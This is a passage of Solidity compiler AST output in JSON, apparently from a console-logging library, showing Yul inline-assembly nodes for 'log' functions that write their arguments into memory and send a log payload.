ype":"YulIdentifier","src":"139384:6:22"},{"kind":"number","nativeSrc":"139392:1:22","nodeType":"YulLiteral","src":"139392:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"139380:3:22","nodeType":"YulIdentifier","src":"139380:3:22"},"nativeSrc":"139380:14:22","nodeType":"YulFunctionCall","src":"139380:14:22"},"variableNames":[{"name":"length","nativeSrc":"139370:6:22","nodeType":"YulIdentifier","src":"139370:6:22"}]}]},"pre":{"nativeSrc":"139348:2:22","nodeType":"YulBlock","src":"139348:2:22","statements":[]},"src":"139344:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"139461:3:22","nodeType":"YulIdentifier","src":"139461:3:22"},{"name":"length","nativeSrc":"139466:6:22","nodeType":"YulIdentifier","src":"139466:6:22"}],"functionName":{"name":"mstore","nativeSrc":"139454:6:22","nodeType":"YulIdentifier","src":"139454:6:22"},"nativeSrc":"139454:19:22","nodeType":"YulFunctionCall","src":"139454:19:22"},"nativeSrc":"139454:19:22","nodeType":"YulExpressionStatement","src":"139454:19:22"},{"nativeSrc":"139490:37:22","nodeType":"YulVariableDeclaration","src":"139490:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"139507:3:22","nodeType":"YulLiteral","src":"139507:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"139516:1:22","nodeType":"YulLiteral","src":"139516:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"139519:6:22","nodeType":"YulIdentifier","src":"139519:6:22"}],"functionName":{"name":"shl","nativeSrc":"139512:3:22","nodeType":"YulIdentifier","src":"139512:3:22"},"nativeSrc":"139512:14:22","nodeType":"YulFunctionCall","src":"139512:14:22"}],"functionName":{"name":"sub","nativeSrc":"139503:3:22","nodeType":"YulIdentifier","src":"139503:3:22"},"nativeSrc":"139503:24:22","nodeType":"YulFunctionCall","src":"139503:24:22"},"variables":[{"name":"shift","nativeSrc":"139494:5:22","nodeType":"YulTypedName","src":"139494:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"139555:3:22","nodeType":"YulIdentifier","src":"139555:3:22"},{"kind":"number","nativeSrc":"139560:4:22","nodeType":"YulLiteral","src":"139560:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"139551:3:22","nodeType":"YulIdentifier","src":"139551:3:22"},"nativeSrc":"139551:14:22","nodeType":"YulFunctionCall","src":"139551:14:22"},{"arguments":[{"name":"shift","nativeSrc":"139571:5:22","nodeType":"YulIdentifier","src":"139571:5:22"},{"arguments":[{"name":"shift","nativeSrc":"139582:5:22","nodeType":"YulIdentifier","src":"139582:5:22"},{"name":"w","nativeSrc":"139589:1:22","nodeType":"YulIdentifier","src":"139589:1:22"}],"functionName":{"name":"shr","nativeSrc":"139578:3:22","nodeType":"YulIdentifier","src":"139578:3:22"},"nativeSrc":"139578:13:22","nodeType":"YulFunctionCall","src":"139578:13:22"}],"functionName":{"name":"shl","nativeSrc":"139567:3:22","nodeType":"YulIdentifier","src":"139567:3:22"},"nativeSrc":"139567:25:22","nodeType":"YulFunctionCall","src":"139567:25:22"}],"functionName":{"name":"mstore","nativeSrc":"139544:6:22","nodeType":"YulIdentifier","src":"139544:6:22"},"nativeSrc":"139544:49:22","nodeType":"YulFunctionCall","src":"139544:49:22"},"nativeSrc":"139544:49:22","nodeType":"YulExpressionStatement","src":"139544:49:22"}]},"name":"writeString","nativeSrc":"139265:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"139286:3:22","nodeType":"YulTypedName","src":"139286:3:22","type":""},{"name":"w","nativeSrc":"139291:1:22","nodeType":"YulTypedName","src":"139291:1:22","type":""}],"src":"139265:342:22"},{"nativeSrc":"139620:17:22","nodeType":"YulAssignment","src":"139620:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139632:4:22","nodeType":"YulLiteral","src":"139632:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"139626:5:22","nodeType":"YulIdentifier","src":"139626:5:22"},"nativeSrc":"139626:11:22","nodeType":"YulFunctionCall","src":"139626:11:22"},"variableNames":[{"name":"m0","nativeSrc":"139620:2:22","nodeType":"YulIdentifier","src":"139620:2:22"}]},{"nativeSrc":"139650:17:22","nodeType":"YulAssignment","src":"139650:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139662:4:22","nodeType":"YulLiteral","src":"139662:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"139656:5:22","nodeType":"YulIdentifier","src":"139656:5:22"},"nativeSrc":"139656:11:22","nodeType":"YulFunctionCall","src":"139656:11:22"},"variableNames":[{"name":"m1","nativeSrc":"139650:2:22","nodeType":"YulIdentifier","src":"139650:2:22"}]},{"nativeSrc":"139680:17:22","nodeType":"YulAssignment","src":"139680:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139692:4:22","nodeType":"YulLiteral","src":"139692:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"139686:5:22","nodeType":"YulIdentifier","src":"139686:5:22"},"nativeSrc":"139686:11:22","nodeType":"YulFunctionCall","src":"139686:11:22"},"variableNames":[{"name":"m2","nativeSrc":"139680:2:22","nodeType":"YulIdentifier","src":"139680:2:22"}]},{"nativeSrc":"139710:17:22","nodeType":"YulAssignment","src":"139710:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139722:4:22","nodeType":"YulLiteral","src":"139722:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"139716:5:22","nodeType":"YulIdentifier","src":"139716:5:22"},"nativeSrc":"139716:11:22","nodeType":"YulFunctionCall","src":"139716:11:22"},"variableNames":[{"name":"m3","nativeSrc":"139710:2:22","nodeType":"YulIdentifier","src":"139710:2:22"}]},{"nativeSrc":"139740:17:22","nodeType":"YulAssignment","src":"139740:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139752:4:22","nodeType":"YulLiteral","src":"139752:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"139746:5:22","nodeType":"YulIdentifier","src":"139746:5:22"},"nativeSrc":"139746:11:22","nodeType":"YulFunctionCall","src":"139746:11:22"},"variableNames":[{"name":"m4","nativeSrc":"139740:2:22","nodeType":"YulIdentifier","src":"139740:2:22"}]},{"nativeSrc":"139770:17:22","nodeType":"YulAssignment","src":"139770:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139782:4:22","nodeType":"YulLiteral","src":"139782:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"139776:5:22","nodeType":"YulIdentifier","src":"139776:5:22"},"nativeSrc":"139776:11:22","nodeType":"YulFunctionCall","src":"139776:11:22"},"variableNames":[{"name":"m5","nativeSrc":"139770:2:22","nodeType":"YulIdentifier","src":"139770:2:22"}]},{"nativeSrc":"139800:17:22","nodeType":"YulAssignment","src":"139800:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"139812:4:22","nodeType":"YulLiteral","src":"139812:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"139806:5:22","nodeType":"YulIdentifier","src":"139806:5:22"},"nativeSrc":"139806:11:22","nodeType":"YulFunctionCall","src":"139806:11:22"},"variableNames":[{"name":"m6","nativeSrc":"139800:2:22","nodeType":"YulIdentifier","src":"139800:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"139900:4:22","nodeType":"YulLiteral","src":"139900:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"139906:10:22","nodeType":"YulLiteral","src":"139906:10:22","type":"","value":"0x205871c2"}],"functionName":{"name":"mstore","nativeSrc":"139893:6:22","nodeType":"YulIdentifier","src":"139893:6:22"},"nativeSrc":"139893:24:22","nodeType":"YulFunctionCall","src":"139893:24:22"},"nativeSrc":"139893:24:22","nodeType":"YulExpressionStatement","src":"139893:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"139937:4:22","nodeType":"YulLiteral","src":"139937:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"139943:2:22","nodeType":"YulIdentifier","src":"139943:2:22"}],"functionName":{"name":"mstore","nativeSrc":"139930:6:22","nodeType":"YulIdentifier","src":"139930:6:22"},"nativeSrc":"139930:16:22","nodeType":"YulFunctionCall","src":"139930:16:22"},"nativeSrc":"139930:16:22","nodeType":"YulExpressionStatement","src":"139930:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"139966:4:22","nodeType":"YulLiteral","src":"139966:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"139972:4:22","nodeType":"YulLiteral","src":"139972:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"139959:6:22","nodeType":"YulIdentifier","src":"139959:6:22"},"nativeSrc":"139959:18:22","nodeType":"YulFunctionCall","src":"139959:18:22"},"nativeSrc":"139959:18:22","nodeType":"YulExpressionStatement","src":"139959:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"139997:4:22","nodeType":"YulLiteral","src":"139997:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"140003:2:22","nodeType":"YulIdentifier","src":"140003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"139990:6:22","nodeType":"YulIdentifier","src":"139990:6:22"},"nativeSrc":"139990:16:22","nodeType":"YulFunctionCall","src":"139990:16:22"},"nativeSrc":"139990:16:22","nodeType":"YulExpressionStatement","src":"139990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140026:4:22","nodeType":"YulLiteral","src":"140026:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"140032:2:22","nodeType":"YulIdentifier","src":"140032:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140019:6:22","nodeType":"YulIdentifier","src":"140019:6:22"},"nativeSrc":"140019:16:22","nodeType":"YulFunctionCall","src":"140019:16:22"},"nativeSrc":"140019:16:22","nodeType":"YulExpressionStatement","src":"140019:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140060:4:22","nodeType":"YulLiteral","src":"140060:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"140066:2:22","nodeType":"YulIdentifier","src":"140066:2:22"}],"functionName":{"name":"writeString","nativeSrc":"140048:11:22","nodeType":"YulIdentifier","src":"140048:11:22"},"nativeSrc":"140048:21:22","nodeType":"YulFunctionCall","src":"140048:21:22"},"nativeSrc":"140048:21:22","nodeType":"YulExpressionStatement","src":"140048:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38300,"isOffset":false,"isSlot":false,"src":"139620:2:22","valueSize":1},{"declaration":38303,"isOffset":false,"isSlot":false,"src":"139650:2:22","valueSize":1},{"declaration":38306,"isOffset":false,"isSlot":false,"src":"139680:2:22","valueSize":1},{"declaration":38309,"isOffset":false,"isSlot":false,"src":"139710:2:22","valueSize":1},{"declaration":38312,"isOffset":false,"isSlot":false,"src":"139740:2:22","valueSize":1},{"declaration":38315,"isOffset":false,"isSlot":false,"src":"139770:2:22","valueSize":1},{"declaration":38318,"isOffset":false,"isSlot":false,"src":"139800:2:22","valueSize":1},{"declaration":38290,"isOffset":false,"isSlot":false,"src":"139943:2:22","valueSize":1},{"declaration":38292,"isOffset":false,"isSlot":false,"src":"140066:2:22","valueSize":1},{"declaration":38294,"isOffset":false,"isSlot":false,"src":"140003:2:22","valueSize":1},{"declaration":38296,"isOffset":false,"isSlot":false,"src":"140032:2:22","valueSize":1}],"id":38320,"nodeType":"InlineAssembly","src":"139242:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"140104:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38323,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"140110:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38321,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"140088:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"140088:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38325,"nodeType":"ExpressionStatement","src":"140088:27:22"},{"AST":{"nativeSrc":"140134:214:22","nodeType":"YulBlock","src":"140134:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"140155:4:22","nodeType":"YulLiteral","src":"140155:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"140161:2:22","nodeType":"YulIdentifier","src":"140161:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140148:6:22","nodeType":"YulIdentifier","src":"140148:6:22"},"nativeSrc":"140148:16:22","nodeType":"YulFunctionCall","src":"140148:16:22"},"nativeSrc":"140148:16:22","nodeType":"YulExpressionStatement","src":"140148:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140184:4:22","nodeType":"YulLiteral","src":"140184:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"140190:2:22","nodeType":"YulIdentifier","src":"140190:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140177:6:22","nodeType":"YulIdentifier","src":"140177:6:22"},"nativeSrc":"140177:16:22","nodeType":"YulFunctionCall","src":"140177:16:22"},"nativeSrc":"140177:16:22","nodeType":"YulExpressionStatement","src":"140177:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140213:4:22","nodeType":"YulLiteral","src":"140213:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"140219:2:22","nodeType":"YulIdentifier","src":"140219:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140206:6:22","nodeType":"YulIdentifier","src":"140206:6:22"},"nativeSrc":"140206:16:22","nodeType":"YulFunctionCall","src":"140206:16:22"},"nativeSrc":"140206:16:22","nodeType":"YulExpressionStatement","src":"140206:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140242:4:22","nodeType":"YulLiteral","src":"140242:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"140248:2:22","nodeType":"YulIdentifier","src":"140248:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140235:6:22","nodeType":"YulIdentifier","src":"140235:6:22"},"nativeSrc":"140235:16:22","nodeType":"YulFunctionCall","src":"140235:16:22"},"nativeSrc":"140235:16:22","nodeType":"YulExpressionStatement","src":"140235:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140271:4:22","nodeType":"YulLiteral","src":"140271:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"140277:2:22","nodeType":"YulIdentifier","src":"140277:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140264:6:22","nodeType":"YulIdentifier","src":"140264:6:22"},"nativeSrc":"140264:16:22","nodeType":"YulFunctionCall","src":"140264:16:22"},"nativeSrc":"140264:16:22","nodeType":"YulExpressionStatement","src":"140264:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140300:4:22","nodeType":"YulLiteral","src":"140300:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"140306:2:22","nodeType":"YulIdentifier","src":"140306:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140293:6:22","nodeType":"YulIdentifier","src":"140293:6:22"},"nativeSrc":"140293:16:22","nodeType":"YulFunctionCall","src":"140293:16:22"},"nativeSrc":"140293:16:22","nodeType":"YulExpressionStatement","src":"140293:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"140329:4:22","nodeType":"YulLiteral","src":"140329:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"140335:2:22","nodeType":"YulIdentifier","src":"140335:2:22"}],"functionName":{"name":"mstore","nativeSrc":"140322:6:22","nodeType":"YulIdentifier","src":"140322:6:22"},"nativeSrc":"140322:16:22","nodeType":"YulFunctionCall","src":"140322:16:22"},"nativeSrc":"140322:16:22","nodeType":"YulExpressionStatement","src":"140322:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38300,"isOffset":false,"isSlot":false,"src":"140161:2:22","valueSize":1},{"declaration":38303,"isOffset":false,"isSlot":false,"src":"140190:2:22","valueSize":1},{"declaration":38306,"isOffset":false,"isSlot":false,"src":"140219:2:22","valueSize":1},{"declaration":38309,"isOffset":false,"isSlot":false,"src":"140248:2:22","valueSize":1},{"declaration":38312,"isOffset":false,"isSlot":false,"src":"140277:2:22","valueSize":1},{"declaration":38315,"isOffset":false,"isSlot":false,"src":"140306:2:22","valueSize":1},{"declaration":38318,"isOffset":false,"isSlot":false,"src":"140335:2:22","valueSize":1}],"id":38326,"nodeType":"InlineAssembly","src":"140125:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"139029:3:22","parameters":{"id":38297,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38290,"mutability":"mutable","name":"p0","nameLocation":"139041:2:22","nodeType":"VariableDeclaration","scope":38328,"src":"139033:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38289,"name":"address","nodeType":"ElementaryTypeName","src":"139033:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38292,"mutability":"mutable","name":"p1","nameLocation":"139053:2:22","nodeType":"VariableDeclaration","scope":38328,"src":"139045:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38291,"name":"bytes32","nodeType":"ElementaryTypeName","src":"139045:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38294,"mutability":"mutable","name":"p2","nameLocation":"139062:2:22","nodeType":"VariableDeclaration","scope":38328,"src":"139057:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38293,"name":"bool","nodeType":"ElementaryTypeName","src":"139057:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38296,"mutability":"mutable","name":"p3","nameLocation":"139074:2:22","nodeType":"VariableDeclaration","scope":38328,"src":"139066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38295,"name":"address","nodeType":"ElementaryTypeName","src":"139066:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"139032:45:22"},"returnParameters":{"id":38298,"nodeType":"ParameterList","parameters":[],"src":"139092:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38368,"nodeType":"FunctionDefinition","src":"140360:1328:22","nodes":[],"body":{"id":38367,"nodeType":"Block","src":"140429:1259:22","nodes":[],"statements":[{"assignments":[38340],"declarations":[{"constant":false,"id":38340,"mutability":"mutable","name":"m0","nameLocation":"140447:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140439:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38339,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140439:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38341,"nodeType":"VariableDeclarationStatement","src":"140439:10:22"},{"assignments":[38343],"declarations":[{"constant":false,"id":38343,"mutability":"mutable","name":"m1","nameLocation":"140467:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140459:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38342,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140459:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38344,"nodeType":"VariableDeclarationStatement","src":"140459:10:22"},{"assignments":[38346],"declarations":[{"constant":false,"id":38346,"mutability":"mutable","name":"m2","nameLocation":"140487:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140479:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38345,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140479:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38347,"nodeType":"VariableDeclarationStatement","src":"140479:10:22"},{"assignments":[38349],"declarations":[{"constant":false,"id":38349,"mutability":"mutable","name":"m3","nameLocation":"140507:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140499:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38348,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140499:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38350,"nodeType":"VariableDeclarationStatement","src":"140499:10:22"},{"assignments":[38352],"declarations":[{"constant":false,"id":38352,"mutability":"mutable","name":"m4","nameLocation":"140527:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140519:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38351,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140519:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38353,"nodeType":"VariableDeclarationStatement","src":"140519:10:22"},{"assignments":[38355],"declarations":[{"constant":false,"id":38355,"mutability":"mutable","name":"m5","nameLocation":"140547:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140539:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38354,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140539:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38356,"nodeType":"VariableDeclarationStatement","src":"140539:10:22"},{"assignments":[38358],"declarations":[{"constant":false,"id":38358,"mutability":"mutable","name":"m6","nameLocation":"140567:2:22","nodeType":"VariableDeclaration","scope":38367,"src":"140559:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38357,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140559:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38359,"nodeType":"VariableDeclarationStatement","src":"140559:10:22"},{"AST":{"nativeSrc":"140588:825:22","nodeType":"YulBlock","src":"140588:825:22","statements":[{"body":{"nativeSrc":"140631:313:22","nodeType":"YulBlock","src":"140631:313:22","statements":[{"nativeSrc":"140649:15:22","nodeType":"YulVariableDeclaration","src":"140649:15:22","value":{"kind":"number","nativeSrc":"140663:1:22","nodeType":"YulLiteral","src":"140663:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"140653:6:22","nodeType":"YulTypedName","src":"140653:6:22","type":""}]},{"body":{"nativeSrc":"140734:40:22","nodeType":"YulBlock","src":"140734:40:22","statements":[{"body":{"nativeSrc":"140763:9:22","nodeType":"YulBlock","src":"140763:9:22","statements":[{"nativeSrc":"140765:5:22","nodeType":"YulBreak","src":"140765:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"140751:6:22","nodeType":"YulIdentifier","src":"140751:6:22"},{"name":"w","nativeSrc":"140759:1:22","nodeType":"YulIdentifier","src":"140759:1:22"}],"functionName":{"name":"byte","nativeSrc":"140746:4:22","nodeType":"YulIdentifier","src":"140746:4:22"},"nativeSrc":"140746:15:22","nodeType":"YulFunctionCall","src":"140746:15:22"}],"functionName":{"name":"iszero","nativeSrc":"140739:6:22","nodeType":"YulIdentifier","src":"140739:6:22"},"nativeSrc":"140739:23:22","nodeType":"YulFunctionCall","src":"140739:23:22"},"nativeSrc":"140736:36:22","nodeType":"YulIf","src":"140736:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"140691:6:22","nodeType":"YulIdentifier","src":"140691:6:22"},{"kind":"number","nativeSrc":"140699:4:22","nodeType":"YulLiteral","src":"140699:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"140688:2:22","nodeType":"YulIdentifier","src":"140688:2:22"},"nativeSrc":"140688:16:22","nodeType":"YulFunctionCall","src":"140688:16:22"},"nativeSrc":"140681:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"140705:28:22","nodeType":"YulBlock","src":"140705:28:22","statements":[{"nativeSrc":"140707:24:22","nodeType":"YulAssignment","src":"140707:24:22","value":{"arguments":[{"name":"length","nativeSrc":"140721:6:22","nodeType":"YulIdentifier","src":"140721:6:22"},{"kind":"number","nativeSrc":"140729:1:22","nodeType":"YulLiteral","src":"140729:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"140717:3:22","nodeType":"YulIdentifier","src":"140717:3:22"},"nativeSrc":"140717:14:22","nodeType":"YulFunctionCall","src":"140717:14:22"},"variableNames":[{"name":"length","nativeSrc":"140707:6:22","nodeType":"YulIdentifier","src":"140707:6:22"}]}]},"pre":{"nativeSrc":"140685:2:22","nodeType":"YulBlock","src":"140685:2:22","statements":[]},"src":"140681:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"140798:3:22","nodeType":"YulIdentifier","src":"140798:3:22"},{"name":"length","nativeSrc":"140803:6:22","nodeType":"YulIdentifier","src":"140803:6:22"}],"functionName":{"name":"mstore","nativeSrc":"140791:6:22","nodeType":"YulIdentifier","src":"140791:6:22"},"nativeSrc":"140791:19:22","nodeType":"YulFunctionCall","src":"140791:19:22"},"nativeSrc":"140791:19:22","nodeType":"YulExpressionStatement","src":"140791:19:22"},{"nativeSrc":"140827:37:22","nodeType":"YulVariableDeclaration","src":"140827:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"140844:3:22","nodeType":"YulLiteral","src":"140844:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"140853:1:22","nodeType":"YulLiteral","src":"140853:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"140856:6:22","nodeType":"YulIdentifier","src":"140856:6:22"}],"functionName":{"name":"shl","nativeSrc":"140849:3:22","nodeType":"YulIdentifier","src":"140849:3:22"},"nativeSrc":"140849:14:22","nodeType":"YulFunctionCall","src":"140849:14:22"}],"functionName":{"name":"sub","nativeSrc":"140840:3:22","nodeType":"YulIdentifier","src":"140840:3:22"},"nativeSrc":"140840:24:22","nodeType":"YulFunctionCall","src":"140840:24:22"},"variables":[{"name":"shift","nativeSrc":"140831:5:22","nodeType":"YulTypedName","src":"140831:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"140892:3:22","nodeType":"YulIdentifier","src":"140892:3:22"},{"kind":"number","nativeSrc":"140897:4:22","nodeType":"YulLiteral","src":"140897:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"140888:3:22","nodeType":"YulIdentifier","src":"140888:3:22"},"nativeSrc":"140888:14:22","nodeType":"YulFunctionCall","src":"140888:14:22"},{"arguments":[{"name":"shift","nativeSrc":"140908:5:22","nodeType":"YulIdentifier","src":"140908:5:22"},{"arguments":[{"name":"shift","nativeSrc":"140919:5:22","nodeType":"YulIdentifier","src":"140919:5:22"},{"name":"w","nativeSrc":"140926:1:22","nodeType":"YulIdentifier","src":"140926:1:22"}],"functionName":{"name":"shr","nativeSrc":"140915:3:22","nodeType":"YulIdentifier","src":"140915:3:22"},"nativeSrc":"140915:13:22","nodeType":"YulFunctionCall","src":"140915:13:22"}],"functionName":{"name":"shl","nativeSrc":"140904:3:22","nodeType":"YulIdentifier","src":"140904:3:22"},"nativeSrc":"140904:25:22","nodeType":"YulFunctionCall","src":"140904:25:22"}],"functionName":{"name":"mstore","nativeSrc":"140881:6:22","nodeType":"YulIdentifier","src":"140881:6:22"},"nativeSrc":"140881:49:22","nodeType":"YulFunctionCall","src":"140881:49:22"},"nativeSrc":"140881:49:22","nodeType":"YulExpressionStatement","src":"140881:49:22"}]},"name":"writeString","nativeSrc":"140602:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"140623:3:22","nodeType":"YulTypedName","src":"140623:3:22","type":""},{"name":"w","nativeSrc":"140628:1:22","nodeType":"YulTypedName","src":"140628:1:22","type":""}],"src":"140602:342:22"},{"nativeSrc":"140957:17:22","nodeType":"YulAssignment","src":"140957:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"140969:4:22","nodeType":"YulLiteral","src":"140969:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"140963:5:22","nodeType":"YulIdentifier","src":"140963:5:22"},"nativeSrc":"140963:11:22","nodeType":"YulFunctionCall","src":"140963:11:22"},"variableNames":[{"name":"m0","nativeSrc":"140957:2:22","nodeType":"YulIdentifier","src":"140957:2:22"}]},{"nativeSrc":"140987:17:22","nodeType":"Y